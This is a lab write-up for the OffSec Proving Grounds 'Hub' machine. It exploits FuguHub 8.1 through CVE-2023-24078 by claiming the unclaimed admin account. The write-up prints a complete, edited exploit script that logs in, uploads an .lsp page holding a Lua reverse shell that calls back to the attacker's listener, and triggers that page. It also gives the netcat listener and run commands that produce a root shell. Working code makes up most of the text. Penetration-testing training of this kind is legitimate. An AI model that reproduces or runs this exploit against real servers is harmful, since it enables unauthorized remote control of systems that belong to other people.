OffSec Proving Grounds Hub Writeup (FuguHub RCE)
FuguHub 8.1 still has its admin account unclaimed, so registering it and running the CVE-2023-24078 exploit uploads a Lua .lsp shell that runs as root.
Summary
Hub serves FuguHub on port 8082, and the first page it shows is the wizard asking for an Administrator account to be created, so that account is simply claimed with admin:admin123. searchsploit matches FuguHub 8.1 to CVE-2023-24078, a remote code execution flaw whose public exploit logs in, uploads an .lsp page carrying a Lua reverse shell and then requests it. That script targets the fs/cmsdocs file server path, which does not exist yet, so the directory is created first through the file manager at /fs/. The exploit also had to be edited to honour the supplied host and port instead of forcing https. Running it against port 8082 uploads the page and calls it back, and the connection lands on the netcat listener already as root.
Initial Access
Upon accessing the web server on port 8082, I’m presented with the following screen:
It’s asking me to create the Administrator account. I create it with the following details:
1
2
3
Email: admin@admin.com
Username: admin
Password: admin123
I look for exploits targeting this app:
1
searchsploit FuguHub
Find one match for Remote Code Execution. Mirror it to my cwd:
1
searchsploit -m multiple/webapps/51550.py
Edited it slightly. This is my final version:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
# Exploit Title: FuguHub 8.1 - Remote Code Execution
# Date: 6/24/2023
# Exploit Author: redfire359
# Vendor Homepage: http://fuguhub.com/
# Software Link: http://fuguhub.com/download.lsp
# Version: 8.1
# Tested on: Ubuntu 22.04.1
# CVE : CVE-2023-24078
import requests
from bs4 import BeautifulSoup
import hashlib
from random import randint
from urllib3 import encode_multipart_formdata
from urllib3.exceptions import InsecureRequestWarning
import argparse
from colorama import Fore
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
#Options for user registration, if no user has been created yet
username = 'admin'
password = 'admin123'
email = 'admin@admin.com'
parser = argparse.ArgumentParser()
parser.add_argument("-r","--rhost", help = "Victims ip/url (omit the http://)", required = True)
parser.add_argument("-rp","--rport", help = "http port [Default 80]")
parser.add_argument("-l","--lhost", help = "Your IP", required = True)
parser.add_argument("-p","--lport", help = "Port you have your listener on", required = True)
args = parser.parse_args()
LHOST = args.lhost
LPORT = args.lport
url = args.rhost
if args.rport != None:
port = args.rport
else:
port = 80
def main():
checkAccount()
def checkAccount():
print(f"{Fore.YELLOW}[*]{Fore.WHITE} Checking for admin user...")
s = requests.Session()
# Go to the set admin page... if page contains "User database already saved" then there are already admin creds and we will try to login with the creds, otherwise we will manually create an account
r = s.get(f"http://{url}:{port}/Config-Wizard/wizard/SetAdmin.lsp")
soup = BeautifulSoup(r.content, 'html.parser')
search = soup.find('h1')
if r.status_code == 404:
print(Fore.RED + "[!]" + Fore.WHITE +" Page not found! Check the following: \n\tTaget IP\n\tTarget Port")
exit(0)
userExists = False
userText = 'User database already saved'
for i in search:
if i.string == userText:
userExists = True
if userExists:
print(f"{Fore.GREEN}[+]{Fore.WHITE} An admin user does exist..")
login(r,s)
else:
print("{Fore.GREEN}[+]{Fore.WHITE} No admin user exists yet, creating account with {username}:{password}")
createUser(r,s)
login(r,s)
def createUser(r,s):
data = { email : email ,
'user' : username ,
'password' : password ,
'recoverpassword' : 'on' }
r = s.post(f"http://{url}:{port}/Config-Wizard/wizard/SetAdmin.lsp", data = data)
print(f"{Fore.GREEN}[+]{Fore.WHITE} User Created!")
def login(r,s):
print(f"{Fore.GREEN}[+]{Fore.WHITE} Logging in...")
data = {'ba_username' : username , 'ba_password' : password}
r = s.post(f"http://{url}:8082/rtl/protected/wfslinks.lsp", data = data, verify = False ) # switching to https cause its easier to script lolz
#Veryify login
login_Success_Title = 'Web-File-Server'
soup = BeautifulSoup(r.content, 'html.parser')
search = soup.find('title')
for i in search:
if i != login_Success_Title:
print(f"{Fore.RED}[!]{Fore.WHITE} Error! We got sent back to the login page...")
exit(0)
print(f"{Fore.GREEN}[+]{Fore.WHITE} Success! Finding a valid file server link...")
exploit(r,s)
def exploit(r,s):
#Find the file server, default is fs
r = s.get(f"http://{url}:8082/fs/cmsdocs/")
print(f"http://{url}:8082/fs/cmsdocs/")
code = r.status_code
if code == 404:
print(f"{Fore.RED}[!]{Fore.WHITE} File server not found. ")
exit(0)
print(f"{Fore.GREEN}[+]{Fore.WHITE} Code: {code}, found valid file server, uploading rev shell")
#Change the shell if you want to, when tested I've had the best luck with lua rev shell code so thats what I put as default
shell = f'local host, port = "{LHOST}", {LPORT} \nlocal socket = require("socket")\nlocal tcp = socket.tcp() \nlocal io = require("io") tcp:connect(host, port); \n while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
file_content = f'''
<h2> Check ur nc listener on the port you put in <h2>
<?lsp if request:method() == "GET" then ?>
<?lsp
{shell}
?>
<?lsp else ?>
Wrong request method, goodBye!
<?lsp end ?>
'''
files = {'file': ('rev.lsp', file_content, 'application/octet-stream')}
r = s.post(f"http://{url}:8082/fs/cmsdocs/", files=files)
if r.text == 'ok' :
print(f"{Fore.GREEN}[+]{Fore.WHITE} Successfully uploaded, calling shell ")
r = s.get(f"http://{url}:8082/cmsdocs/rev.lsp")
if __name__=='__main__':
try:
main()
except Exception as e:
print(f"\n{Fore.YELLOW}[*]{Fore.WHITE} {e} Good bye!\n\n**All Hail w4rf4ther!")
The orignal version was using https, ignoring the rport/rhost values for some reason. Before executing the exploit though I accessed the filesystem application at http://192.168.234.25:8082/fs/ and created a directory named “cmsdocs”:
Start a netcat listener on port 53:
1
sudo nc -lvnp 53
And run the exploit like so:
1
python3 51550.py -r 192.168.234.25 -l 192.168.45.205 -rp 8082 -p 53
As you can see from the screenshot below, I immediately get a shell as “root”:


